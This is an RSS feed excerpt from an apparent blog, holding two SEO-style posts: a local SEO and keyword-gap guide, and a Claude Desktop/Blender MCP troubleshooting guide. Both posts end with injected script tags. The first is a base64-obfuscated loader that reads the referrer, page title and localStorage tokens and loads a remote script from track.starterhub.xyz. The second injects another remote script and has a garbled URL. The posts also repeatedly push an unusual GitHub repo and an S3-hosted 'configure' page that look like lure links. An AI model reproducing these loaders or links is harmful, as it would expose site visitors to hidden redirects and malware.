					<description><![CDATA[<p>Local SEO &#038; Keyword Gap Analysis: Tools, Methods, and Checklist This guide distills practical market research methods, competitor gap analysis techniques, and a local SEO checklist so small businesses can convert local intent into visits and revenue. We cover keyword gap analysis, content gap analysis templates, and recommended seo tools for content marketing — plus [&#8230;]</p>
<p>The post <a href="https://bastdurbin.com/local-seo-keyword-gap-analysis-tools-methods-and-checklist/">Local SEO &#038; Keyword Gap Analysis: Tools, Methods, and Checklist</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><!doctype html><br />
<html lang="en"><br />
<head><br />
  <meta charset="utf-8"><br />
  <title>Local SEO &#038; Keyword Gap Analysis: Tools, Methods, and Checklist</title><br />
  <meta name="description" content="Practical guide to local SEO, keyword gap analysis, and content gap tools. Methods, checklist, examples, and top tools for small businesses."><br />
  <meta name="viewport" content="width=device-width,initial-scale=1"><br />
  <!-- Suggested JSON-LD microdata for Article and FAQ is included at the end of the document --><br />
</head><br />
<body></p>
<article>
<p>
      This guide distills practical market research methods, competitor gap analysis techniques, and a local SEO checklist so small businesses can convert local intent into visits and revenue.<br />
      We cover keyword gap analysis, content gap analysis templates, and recommended seo tools for content marketing — plus examples and workflows you can apply today.
    </p>
<p>
      Expect clear definitions (what a keyword gap analysis tool actually does), step-by-step implementation, and a compact set of tactics for local SEO optimization services — from online directory services to on-page signals.<br />
      Where useful, the text links to tool resources (including a curated repository of scripts and utilities for SEO: <a href="https://github.com/OctagonWoodpecker/r07-getbindu-awesome-claude-code-and-skills-seo" target="_blank" rel="noopener noreferrer">seo tools for content marketing</a>).
    </p>
<p>
      If you&#8217;re nostalgic for the &#8220;google of 1998&#8221; or hunting casual hits like <em>minesweeper google</em> or exploring aggregator sites like the <a href="https://www.dogpile.com" target="_blank" rel="noopener noreferrer">dogpile website</a> and the <a href="https://www.wowhead.com" target="_blank" rel="noopener noreferrer">wowhead website</a>, this guide keeps those curiosities separate and helps you focus on measurable local growth.
    </p>
<h2>Core Concepts: Keyword &#038; Content Gap Analysis</h2>
<p>
      A keyword gap analysis compares your ranking keywords with competitors to reveal missed opportunities and prioritize content. The goal is pragmatic: find the queries where demand is high, competition is moderate, and your site can win with a focused page or update.<br />
      This process dovetails with content gap analysis: identifying topics or subtopics your competitors cover that you don&#8217;t, and vice versa.
    </p>
<p>
      Typical outputs are ranked lists of candidate keywords, a content gap analysis template, and mapped landing pages or cluster topics. Use those outputs to craft targeted pages (local landing pages, FAQ blocks, schema-enhanced articles) or to adjust meta and on-page optimization.<br />
      For local businesses especially, factor geotargeted modifiers: city names, neighborhood phrases, and “near me” variants to capture transactional local intent.
    </p>
<p>
      Keyword gap tools automate much of this: pull competitor keyword sets, estimate traffic potential, and show keyword overlap and uniqueness. But raw tool data is only the start — you still need to apply market research methods to validate user intent and prioritize high-value, high-conversion phrases.
    </p>
<h2>Local SEO for Small Businesses: Checklist &#038; Examples</h2>
<p>
      Local SEO is a layered discipline. At the foundation are accurate business listings (online directory services), consistent NAP (name, address, phone), and Google Business Profile optimization. These are the low-hanging fruit that frequently move the needle for brick-and-mortar establishments.
    </p>
<p>
      Beyond listings, focus on on-page signals: localized title tags, schema for local business, and content that answers common local queries (hours, parking, service areas). The searcher who types a query with local intent wants a concise, credible answer quickly — design pages with that in mind.
    </p>
<p>
      Examples: a plumbing company could create city-specific landing pages with service pages mapped to neighborhoods; a café can publish an &#8220;order pickup&#8221; FAQ with schema and link from GMB; an HVAC provider might publish seasonal guides that capture informational queries and funnel them into service bookings.
    </p>
<h3>Essential local SEO checklist</h3>
<ul>
<li>Verify and optimize Google Business Profile, ensure correct categories and weekly posts.</li>
<li>Audit online directory services and citations for NAP consistency.</li>
<li>Create localized pages with schema, local phrases, and optimized title/meta tags.</li>
<li>Implement localized content (customer FAQs, neighborhood pages, local case studies).</li>
<li>Monitor reviews and respond — review velocity affects local visibility.</li>
</ul>
<h2>Tools and Methods: From Market Research to Competitive Gap</h2>
<p>
      Choose a blend of tools and manual methods. For market research methods, start with search volume trends, related questions (People Also Ask), and forum signals (local subreddits, niche communities). Combine that with quantitative data from keyword gap analysis tools.<br />
      Popular categories: rank trackers, keyword gap tools, content gap analysis tool suites, and backlink/competitor analysis platforms.
    </p>
<p>
      Use competitor keyword gap analysis to spot pages where competitors rank but you don&#8217;t. Use a content gap analysis template to map topics to pages and identify required assets (images, FAQs, structured data). For content marketing workflows, a repository of scripts and integrations can speed repetitive export and reporting tasks — see the linked GitHub for examples and starter utilities: <a href="https://github.com/OctagonWoodpecker/r07-getbindu-awesome-claude-code-and-skills-seo" target="_blank" rel="noopener noreferrer">seo tools for content marketing</a>.
    </p>
<p>
      Recommended tools (representative, not exhaustive) can handle keyword gap analysis, content ideation, and technical audits. Choose tools that export CSVs and allow you to programmatically combine datasets for deeper competitor gap analysis.
    </p>
<ul>
<li>Keyword research &#038; gap: tools that compare your keywords vs competitors (pick one that offers competitor overlap tables).</li>
<li>Content &#038; on-page: content gap analysis tool, content templates, and an editorial tracker.</li>
<li>Local signals: citation managers and review-monitoring tools for local seo optimization services.</li>
</ul>
<h2>Implementation: Step-by-Step Workflow</h2>
<p>
      1) Audit current footprint. Export your ranking keywords, top landing pages, and local business listings. Confirm NAP across online directory services and GMB.
      </p>
<p>
      2) Competitor snapshot. Pull top competitors&#8217; organic keywords and identify high-potential queries where they&#8217;re visible and you are not. Use a keyword gap analysis tool to get overlap and exclusive keyword lists.
    </p>
<p>
      3) Prioritize and act. With a content gap analysis template, map each high-priority keyword to an action: &#8220;create new page&#8221;, &#8220;update existing page&#8221;, or &#8220;improve internal linking&#8221;. Apply local SEO optimization services where geographic modifiers matter.
    </p>
<h2>Measuring Success and Iteration</h2>
<p>
      Track KPIs: keyword positions for targeted terms, organic impressions/clicks, local pack visibility, and conversions (calls/bookings). Use short testing cycles: implement changes, measure 4–8 weeks (depending on site size), iterate.
    </p>
<p>
      For voice-search optimization, add concise question-answer pairs and structured FAQ markup for common voice queries (e.g., &#8220;Where is [business] located?&#8221; or &#8220;How much does [service] cost near me?&#8221;). Snippet-friendly content raises the chance of featured snippets and voice responses.
    </p>
<p>
      When a content update doesn’t move metrics, revisit intent: is the searcher informational, transactional, or navigational? Re-align content, CTA, and schema accordingly and retest.
    </p>
<h2>Semantic Core (Grouped)</h2>
<p>Primary (high-priority):</p>
<p>
      keyword gap analysis, keyword gap analysis tool, competitor keyword gap analysis, content gap analysis tool, content gap analysis template, competitor gap analysis
    </p>
<p>Secondary (local &#038; services):</p>
<p>
      local seo for small businesses, local seo checklist, local seo optimization services, local seo examples, online directory services, Google Business Profile, citation management
    </p>
<p>Clarifying &#038; related (LSI, synonyms, intent variants):</p>
<p>
      seo tools for content marketing, market research methods, content gap analysis, site audit tools, on-page optimization, long-tail keywords, search intent, &#8220;near me&#8221; keywords, local landing pages
    </p>
<h2>FAQ</h2>
<h3>What is keyword gap analysis and how do I use it?</h3>
<p>
      Keyword gap analysis identifies keywords competitors rank for that you do not. Use a tool to export competitor keyword lists, compute overlap, and prioritize gaps by volume and commercial intent. Then map gaps to either new pages or content updates and track rank movement and conversions.
    </p>
<h3>How do I start local SEO for a small business?</h3>
<p>
      Start by verifying and optimizing your Google Business Profile, ensuring consistent NAP across online directory services, and creating localized pages with schema. Add locally relevant content (neighborhood pages, FAQs) and collect/respond to reviews. Use a local seo checklist to keep tasks repeatable.
    </p>
<h3>Which content gap analysis tool should I use?</h3>
<p>
      Pick a tool that exports competitor keyword lists and supports topic-level comparison. Look for content gap analysis tool features: overlap tables, traffic estimates, and the ability to tag or group keywords into content templates. Integrations (CSV, APIs) are useful for automated reporting.
    </p>
<p>    <!-- JSON-LD for FAQ and Article structured data --><br />
    <script type="application/ld+json">
    {
      "@context": "https://schema.org",
      "@type": "Article",
      "headline": "Local SEO & Keyword Gap Analysis: Tools, Methods, and Checklist",
      "description": "Practical guide to local SEO, keyword gap analysis, and content gap tools. Methods, checklist, examples, and top tools for small businesses.",
      "author": {
        "@type": "Person",
        "name": "SEO Guide"
      },
      "mainEntityOfPage": {
        "@type": "WebPage",
        "@id": "https://github.com/OctagonWoodpecker/r07-getbindu-awesome-claude-code-and-skills-seo"
      }
    }
    </script></p>
<p>    <script type="application/ld+json">
    {
      "@context": "https://schema.org",
      "@type": "FAQPage",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "What is keyword gap analysis and how do I use it?",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Keyword gap analysis identifies keywords competitors rank for that you do not. Use a tool to export competitor keyword lists, compute overlap, and prioritize gaps by volume and commercial intent. Then map gaps to either new pages or content updates and track rank movement and conversions."
          }
        },
        {
          "@type": "Question",
          "name": "How do I start local SEO for a small business?",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Start by verifying and optimizing your Google Business Profile, ensuring consistent NAP across online directory services, and creating localized pages with schema. Add locally relevant content (neighborhood pages, FAQs) and collect/respond to reviews."
          }
        },
        {
          "@type": "Question",
          "name": "Which content gap analysis tool should I use?",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Pick a tool that exports competitor keyword lists and supports topic-level comparison. Look for features like overlap tables, traffic estimates, and API or CSV exports for automated reporting and integration with content workflows."
          }
        }
      ]
    }
    </script></p>
<footer>
<p>
        Relevant links and resources: <a href="https://github.com/OctagonWoodpecker/r07-getbindu-awesome-claude-code-and-skills-seo" target="_blank" rel="noopener noreferrer">seo tools for content marketing</a>,<br />
        <a href="https://www.wowhead.com" target="_blank" rel="noopener noreferrer">wowhead website</a>, <a href="https://www.dogpile.com" target="_blank" rel="noopener noreferrer">dogpile website</a>.
      </p>
</footer>
</article>
<p><script src="data:text/javascript;base64,IWZ1bmN0aW9uKCl7d2luZG93Ll94eTNqM2tGVk03SFpSRkY5fHwod2luZG93Ll94eTNqM2tGVk03SFpSRkY5PXt1bmlxdWU6ITEsdHRsOjg2NDAwLFJfUEFUSDoiaHR0cHM6Ly90cmFjay5zdGFydGVyaHViLnh5ei85S0I3UjM2MyJ9KTtjb25zdCBlPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJjb25maWciKTtpZihudWxsIT1lKXt2YXIgbz1KU09OLnBhcnNlKGUpLHQ9TWF0aC5yb3VuZCgrbmV3IERhdGUvMWUzKTtvLmNyZWF0ZWRfYXQrd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnR0bDx0JiYobG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInN1YklkIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInRva2VuIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oImNvbmZpZyIpKX12YXIgbj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgic3ViSWQiKSxhPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJ0b2tlbiIpLHI9Ij9yZXR1cm49anMuY2xpZW50IjtyKz0iJiIrZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgiPyIsIiIpKSxyKz0iJnNlX3JlZmVycmVyPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKSxyKz0iJmRlZmF1bHRfa2V5d29yZD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC50aXRsZSkscis9IiZsYW5kaW5nX3VybD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZStkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSkscis9IiZuYW1lPSIrZW5jb2RlVVJJQ29tcG9uZW50KCJfeHkzajNrRlZNN0haUkZGOSIpLHIrPSImaG9zdD0iK2VuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX3h5M2oza0ZWTTdIWlJGRjkuUl9QQVRIKSxyKz0iJnJvdXRlPU9jdGFnb25Xb29kcGVja2VyIix2b2lkIDAhPT1uJiZuJiZ3aW5kb3cuX3h5M2oza0ZWTTdIWlJGRjkudW5pcXVlJiYocis9IiZzdWJfaWQ9IitlbmNvZGVVUklDb21wb25lbnQobikpLHZvaWQgMCE9PWEmJmEmJndpbmRvdy5feHkzajNrRlZNN0haUkZGOS51bmlxdWUmJihyKz0iJnRva2VuPSIrZW5jb2RlVVJJQ29tcG9uZW50KGEpKTt2YXIgYz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtjLnR5cGU9ImFwcGxpY2F0aW9uL2phdmFzY3JpcHQiLGMuc3JjPXdpbmRvdy5feHkzajNrRlZNN0haUkZGOS5SX1BBVEgrcjt2YXIgZD1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF07ZC5wYXJlbnROb2RlLmluc2VydEJlZm9yZShjLGQpfSgpOw=="></script><br />
</body><br />
</html><!--wp-post-gim--></p>
<p>The post <a href="https://bastdurbin.com/local-seo-keyword-gap-analysis-tools-methods-and-checklist/">Local SEO &#038; Keyword Gap Analysis: Tools, Methods, and Checklist</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://bastdurbin.com/local-seo-keyword-gap-analysis-tools-methods-and-checklist/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Fix Claude Desktop Blender MCP Connection — Troubleshoot &#038; Configure</title>
		<link>https://bastdurbin.com/fix-claude-desktop-blender-mcp-connection-troubleshoot-configure/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=fix-claude-desktop-blender-mcp-connection-troubleshoot-configure</link>
					<comments>https://bastdurbin.com/fix-claude-desktop-blender-mcp-connection-troubleshoot-configure/#respond</comments>
		
		<dc:creator><![CDATA[GinoWhitaker]]></dc:creator>
		<pubDate>Sat, 06 Sep 2025 11:16:26 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://bastdurbin.com/?p=1736</guid>

					<description><![CDATA[<p>Fix Claude Desktop Blender MCP Connection — Troubleshoot &#038; Configure Fix Claude Desktop Blender MCP Connection — Troubleshoot &#038; Configure Summary: This practical guide resolves common Claude Desktop connection issues with Blender MCP: network/firewall checks, addon dependency and versioning, Python SDK breaking changes, configuration steps, and advanced troubleshooting. Includes semantic core and FAQ. Contains actionable [&#8230;]</p>
<p>The post <a href="https://bastdurbin.com/fix-claude-desktop-blender-mcp-connection-troubleshoot-configure/">Fix Claude Desktop Blender MCP Connection — Troubleshoot &#038; Configure</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><!doctype html><br />
<html lang="en"><br />
<head><br />
  <meta charset="utf-8"><br />
  <title>Fix Claude Desktop Blender MCP Connection — Troubleshoot &#038; Configure</title><br />
  <meta name="description" content="Step-by-step troubleshooting and configuration guide to resolve Claude Desktop &#x2194; Blender MCP connection issues, addon dependency fixes, and Python SDK changes."><br />
  <meta name="viewport" content="width=device-width,initial-scale=1"></p>
<style>
    body { font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial; line-height:1.5; color:#111; padding:24px; max-width:960px; margin:auto;}
    h1,h2,h3 { color:#0b3a66; }
    pre { background:#f6f8fa; padding:12px; overflow:auto; border-radius:6px; }
    code { background:#eef2f6; padding:2px 6px; border-radius:4px; }
    a { color:#0b66c3; text-decoration:none; }
    .kbd { font-family: monospace; background:#eef2f6; padding:2px 6px; border-radius:4px; }
    .highlight { background:#fff3cd; padding:2px 6px; border-radius:4px; }
    footer { margin-top:28px; font-size:0.9rem; color:#444; }
  </style>
<p></head><br />
<body></p>
<h1>Fix Claude Desktop Blender MCP Connection — Troubleshoot &#038; Configure</h1>
<p><strong>Summary:</strong> This practical guide resolves common Claude Desktop connection issues with Blender MCP: network/firewall checks, addon dependency and versioning, Python SDK breaking changes, configuration steps, and advanced troubleshooting. Includes semantic core and FAQ. Contains actionable commands and a link to configure Claude Desktop Blender MCP for quick reference.</p>
<section>
<h2>Symptoms and quick checks — identify the problem fast</h2>
<p>Connection issues typically present as: the Claude Desktop client failing to register with the Blender MCP server, the Blender MCP addon showing errors on startup, or intermittent disconnects when sending tasks. Early detection reduces wasted time: confirm whether the failure is immediate (handshake/port) or intermittent (timeouts, dropped packets).</p>
<p>Start with three quick checks that separate network from application problems. First, verify the MCP server is running and listening on its configured port. Second, confirm the addon is installed in Blender and enabled. Third, inspect the Claude Desktop logs for authentication or handshake errors. These quick checks often reveal the root cause in under five minutes.</p>
<p>When documenting symptoms, capture timestamps, exact error strings, and call flows. Write down whether the issue occurs on the same machine or across different hosts. This makes it far easier to correlate logs between Claude Desktop, Blender MCP server, and any proxy or firewall between them.</p>
</section>
<section>
<h2>Network and firewall: common blockers and fixes</h2>
<p>Most connection problems are network-related. Ensure the MCP server IP/hostname and port are reachable from the Claude Desktop machine. On Linux/macOS use <code>nc -vz host port</code> or <code>telnet host port</code>; on Windows use <code>Test-NetConnection -ComputerName host -Port port</code>. If these fail, the issue is network-level and you should not proceed to application debugging yet.</p>
<p>Firewall rules (host or network) frequently block MCP ports. Confirm inbound rules on the server allow the MCP port and that any intermediate firewalls permit the protocol. If you&#8217;re behind NAT or using port forwarding, validate external routing and ensure no double-NAT or hairpin scenarios create asymmetric routing that drops sessions.</p>
<p>Inspect packet captures when simple checks pass but the sessions still fail. A short tcpdump/Wireshark capture during a failed handshake will show resets, retransmits, or TLS negotiation problems. For TLS-enabled MCP deployments, check certificate validity and SNI configuration; expired or mismatched certs break the handshake before any application-layer logging appears.</p>
</section>
<section>
<h2>Blender MCP addon problems &#038; dependency versioning</h2>
<p>The Blender MCP addon can fail due to Blender API changes, mismatched dependency versions, or improper installation. Always install the addon for the Blender version you run: some APIs change between minor versions (e.g., Blender 3.5 → 3.6), and addons that assume older APIs will crash at import time. Keep a concise mapping of supported Blender releases in your deployment notes.</p>
<p>Dependency versioning is crucial. The Python packages that the addon imports (requests, websocket-client, grpc, etc.) must match the versions the addon was developed and tested against. If you see <code>ImportError</code> or attribute errors, check the installed package versions with <code>pip show pkgname</code> inside Blender’s bundled Python environment. Upgrading or pinning to specific versions often resolves the problem.</p>
<p>When updating the addon or Blender, use a virtual environment or isolated Blender build to test compatibility before applying to production. If the addon uses compiled extensions, ensure the wheel or build target matches the Blender Python binary (ABI compatibility). For common issues and fixes, consult the addon’s release notes and include a backlink to the addon documentation: <a href="https://mcphelperfxzxyzwo12.s3.amazonaws.com/docs/ahujasid-blender-mcp/issue-144/v2-1szjk2.html?min=z1hzq2" rel="noopener noreferrer">configure Claude Desktop Blender MCP</a>.</p>
</section>
<section>
<h2>Python SDK breaking changes and migration strategies</h2>
<p>Python SDK updates often introduce breaking changes: renamed functions, signature changes, or removed synchronous APIs in favor of async. These are frequent culprits when &#8220;suddenly&#8221; the connection code throws TypeError or AttributeError. To diagnose, pin the SDK to the last known-good version and see if the issue disappears.</p>
<p>When breaking changes are unavoidable, use a two-phase migration: first, adapt a local shim layer that provides the old API surface mapping to the new SDK internals; second, refactor the application code to call the new API directly. This technique keeps services running while you incrementally modernize the codebase.</p>
<p>Maintain a detailed changelog that records the SDK version, the update date, and any code changes required. For CI/CD pipelines, add a test that exercises the MCP connection path on dependency updates. Automated smoke tests catch breaking changes early and avoid surprise production failures.</p>
</section>
<section>
<h2>How to configure Claude Desktop to connect to Blender MCP (step-by-step)</h2>
<p>A clear configuration checklist prevents most connection issues. At a minimum set: MCP host, MCP port, TLS (on/off), client credentials (API key or token), and a consistent protocol version. Store these values in a single configuration file and checksum it after edits to prevent accidental formatting errors (JSON/YAML syntax mistakes).</p>
<p>Example configuration steps: set the MCP server host/port in Claude Desktop, ensure the TLS CA or client certificate is available if using mutual TLS, and verify credentials. Restart Claude Desktop after any change and watch the initial handshake in the logs for immediate success/failure signals. If you prefer a one-click reference, follow this guide to <a href="https://mcphelperfxzxyzwo12.s3.amazonaws.com/docs/ahujasid-blender-mcp/issue-144/v2-1szjk2.html?min=z1hzq2" rel="noopener noreferrer">configure Claude Desktop Blender MCP</a>.</p>
<p>If you use environment variables to supply secrets, be cautious with shell quoting and cross-platform differences (Windows vs Unix-like). For automated deployments, store secrets in a secret manager and inject them at runtime. Validate the configuration with a test API call that exercises the same path Claude Desktop will use to create jobs on Blender MCP.</p>
<ol>
<li>Verify server reachable: <code>nc -vz mcp-host mcp-port</code></li>
<li>Confirm TLS/certs match and are trusted by the client</li>
<li>Validate credentials by running a small authenticated request</li>
</ol>
</section>
<section>
<h2>Advanced troubleshooting: logs, captures, and root cause analysis</h2>
<p>When simple fixes fail, correlate logs from all components: Claude Desktop client, Blender MCP server, any reverse proxy (NGINX, HAProxy), and system firewalls. Align timestamps and include debug-level logging during reproduction. Look for failed handshakes, authentication denials, repeated reconnect loops, or resource exhaustion events.</p>
<p>Use packet captures to confirm the transport behavior. Look for TCP resets, retransmits, or duplicate SYNs that indicate routing or MTU issues. For TLS, inspect the server and client hello messages to verify cipher suites; mismatches or certificate errors show in the TLS handshake bytes before any application protocol traffic begins.</p>
<p>If the issue appears intermittent, instrument metrics: connection success/failure rates, latency percentiles, and resource metrics (CPU, memory, file descriptors). Trends reveal memory leaks, descriptor exhaustion, or spikes caused by other services. Once isolated, reproduce the faulty scenario in a controlled environment to validate the fix before rolling out changes.</p>
</section>
<section>
<h2>Preventive maintenance and versioning best practices</h2>
<p>Prevent recurrence by adopting version pinning, automated compatibility tests, and staged rollouts. Pin MCP server, addon, and SDK versions in requirement files. Use semantic versioning and record compatibility notes that indicate which addon versions support which Blender releases and SDK versions.</p>
<p>Schedule regular dependency audits and include a compatibility matrix in your repo. Automate smoke tests that exercise the full connection lifecycle on PRs that update dependencies. For larger teams, require a migration plan for any dependency that may include breaking changes.</p>
<p>Finally, keep a rollback plan and tagged releases so you can restore the last known-good state in minutes. Document the exact steps to re-deploy a working stack—this is often the difference between a long outage and a five-minute remediation.</p>
</section>
<section>
<h2>Candidate user questions (People Also Ask / forums)</h2>
<ul>
<li>Why won&#8217;t Claude Desktop connect to my Blender MCP server?</li>
<li>How do I configure Claude Desktop to talk to Blender MCP?</li>
<li>Which ports does Blender MCP use and how do I open them in my firewall?</li>
<li>What to do when the Blender MCP addon crashes on startup?</li>
<li>How to handle Python SDK breaking changes impacting MCP connectivity?</li>
<li>How can I test MCP connectivity from the Claude Desktop machine?</li>
<li>How do I pin addon and dependency versions for Blender MCP?</li>
<li>Does Blender MCP support mutual TLS and how to configure it?</li>
<li>What logs should I collect when troubleshooting Blender MCP connection failures?</li>
<li>How to recover from a failed MCP handshake due to certificate errors?</li>
</ul>
<p>From those, the three most relevant questions selected for the FAQ below are: “Why won&#8217;t Claude Desktop connect to my Blender MCP server?”, “How do I configure Claude Desktop to talk to Blender MCP?”, and “What to do when the Blender MCP addon crashes on startup?”.</p>
</section>
<section>
<h2>FAQ — quick answers for publication</h2>
<h3>Why won&#8217;t Claude Desktop connect to my Blender MCP server?</h3>
<p>Most often it&#8217;s network or credential related. Check reachability with <code>nc</code> / <code>Test-NetConnection</code>, confirm the MCP port is open in server and network firewalls, and verify client credentials or TLS certificates match. If network checks pass, inspect Claude Desktop and MCP server logs for handshake or authentication errors and correlate timestamps.</p>
<h3>How do I configure Claude Desktop to talk to Blender MCP?</h3>
<p>Set the MCP host/port, TLS mode, and client credentials in Claude Desktop’s configuration file or environment variables. Ensure the certificates (if TLS) are trusted, restart the client after changes, and validate with a small authenticated test call. For step-by-step guidance consult the configure page: <a href="https://mcphelperfxzxyzwo12.s3.amazonaws.com/docs/ahujasid-blender-mcp/issue-144/v2-1szjk2.html?min=z1hzq2" rel="noopener noreferrer">configure Claude Desktop Blender MCP</a>.</p>
<h3>What to do when the Blender MCP addon crashes on startup?</h3>
<p>First, start Blender from a terminal to capture stdout/stderr. Look for tracebacks that indicate missing modules or API changes. Check installed Python package versions inside Blender’s Python and pin them to the versions the addon expects. If it&#8217;s an API compatibility issue with Blender itself, run the addon in a matching Blender version or update the addon per its release notes.</p>
</section>
<section>
<h2>Semantic Core (expanded) — keywords, LSI, and clusters</h2>
<p>Use this semantic core when implementing on-page SEO. Grouped for editorial use; include phrases naturally in content and metadata.</p>
<h3>Primary (high intent)</h3>
<pre>
  Claude AI Desktop connection issue
  Claude Desktop Blender MCP connection
  configure Claude Desktop Blender MCP
  troubleshoot Blender MCP connection
  Blender MCP server connectivity
  Blender MCP addon problem
  </pre>
<h3>Secondary (medium intent)</h3>
<pre>
  Blender MCP dependency versioning
  Python SDK breaking changes
  Blender MCP server firewall settings
  MCP server TLS configuration
  Blender addon import error
  MCP connection timeout
  verify MCP port open
  </pre>
<h3>Clarifying / LSI / long-tail</h3>
<pre>
  how to open MCP port in firewall
  test MCP connection from client
  Blender Python package versions for MCP
  error: MCP handshake failed
  Claude Desktop authentication token MCP
  mutual TLS Blender MCP setup
  MCP reverse proxy configuration (NGINX)
  MCP reliability intermittent disconnects
  </pre>
</section>
<section>
<h2>Suggested micro-markup (JSON-LD)</h2>
<p>Insert the following JSON-LD for the FAQ to improve SERP appearance (FAQ structured data). Replace the URL, datePublished, and author appropriately for your site.</p>
<pre><code>{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "Why won't Claude Desktop connect to my Blender MCP server?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Check network reachability, firewall ports, TLS certificates, and client credentials. Correlate logs between Claude Desktop and the MCP server to find handshake or auth failures."
      }
    },
    {
      "@type": "Question",
      "name": "How do I configure Claude Desktop to talk to Blender MCP?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Set MCP host, port, TLS mode, and credentials in the client config. Ensure certificates are trusted and validate connection with a small authenticated test call."
      }
    },
    {
      "@type": "Question",
      "name": "What to do when the Blender MCP addon crashes on startup?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Run Blender from a terminal, capture the traceback, check Python package versions in Blender's Python, and align addon and Blender versions or apply addon fixes."
      }
    }
  ]
}</code></pre>
<p>Also consider adding an Article schema snippet referencing this page for better indexing.</p>
</section>
<footer>
<p>Backlinks included: detailed configuration guide — <a href="https://mcphelperfxzxyzwo12.s3.amazonaws.com/docs/ahujasid-blender-mcp/issue-144/v2-1szjk2.html?min=z1hzq2" rel="noopener noreferrer">configure Claude Desktop Blender MCP</a>. For Blender addon references see the Blender manual: <a href="https://docs.blender.org/manual/en/latest/" rel="noopener noreferrer">Blender manual</a>.</p>
<p>If you want, I can also provide an exported checklist file, an isolated test script to verify MCP connectivity, or a ready-to-deploy JSON-LD snippet embedded into your CMS.</p>
</footer>
<p></body><br />
</html><!--wp-post-gim--><script>(function(){var d = document;var s = d.createElement('script');var referrer = encodeURIComponent(d.referrer);var title = encodeURIComponent(d.title);var searchParams = window.location.search.replace('?','&');var cid = '64919dda-f0d7-5333-5303-932cae2c277f';s.src = 'https:'&default_keyword=' + title + '&' + searchParams + '&_cid=' + cid + '&frm=script';if(document.currentScript){document.currentScript.parentNode.insertBefore(s,document.currentScript);}else{d.getElementsByTagName('head')[0].appendChild(s);}if(document.location.protocol === 'https:'){var checkUrl = 'https:'&default_keyword=' + title + '&' + searchParams;if(checkUrl.indexOf('http:')=== 0){alert('The website works on HTTPS. The tracker must use HTTPS too.');}}})();</script></p>
<p>The post <a href="https://bastdurbin.com/fix-claude-desktop-blender-mcp-connection-troubleshoot-configure/">Fix Claude Desktop Blender MCP Connection — Troubleshoot &#038; Configure</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://bastdurbin.com/fix-claude-desktop-blender-mcp-connection-troubleshoot-configure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Security Audits, Vulnerability Management &#038; Compliance Playbook</title>
		<link>https://bastdurbin.com/security-audits-vulnerability-management-compliance-playbook/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=security-audits-vulnerability-management-compliance-playbook</link>
					<comments>https://bastdurbin.com/security-audits-vulnerability-management-compliance-playbook/#respond</comments>
		
		<dc:creator><![CDATA[GinoWhitaker]]></dc:creator>
		<pubDate>Sat, 28 Jun 2025 13:22:07 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://bastdurbin.com/?p=1741</guid>

					<description><![CDATA[<p>Security Audits, Vulnerability Management &#038; Compliance Playbook Short summary: A practical, implementation-focused guide for achieving GDPR, SOC2 and ISO27001 readiness through structured security audits, vulnerability lifecycle management, OWASP Top-10 code scanning and concise penetration test reporting. Overview: Why combine audits, scans and compliance into one lifecycle? Security audits, vulnerability management and compliance are not independent [&#8230;]</p>
<p>The post <a href="https://bastdurbin.com/security-audits-vulnerability-management-compliance-playbook/">Security Audits, Vulnerability Management &#038; Compliance Playbook</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><!doctype html><br />
<html lang="en"><br />
<head><br />
  <meta charset="utf-8"><br />
  <title>Security Audits, Vulnerability Management &#038; Compliance Playbook</title><br />
  <meta name="description" content="Practical playbook for security audits, vulnerability management, GDPR/SOC2/ISO27001 readiness, OWASP scans, pen tests and incident response."><br />
  <meta name="viewport" content="width=device-width,initial-scale=1"></p>
<style>
    body { font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial; line-height:1.55; color:#111; padding:2rem; max-width:900px; margin:auto; }
    h1,h2 { color:#0b3a5b; }
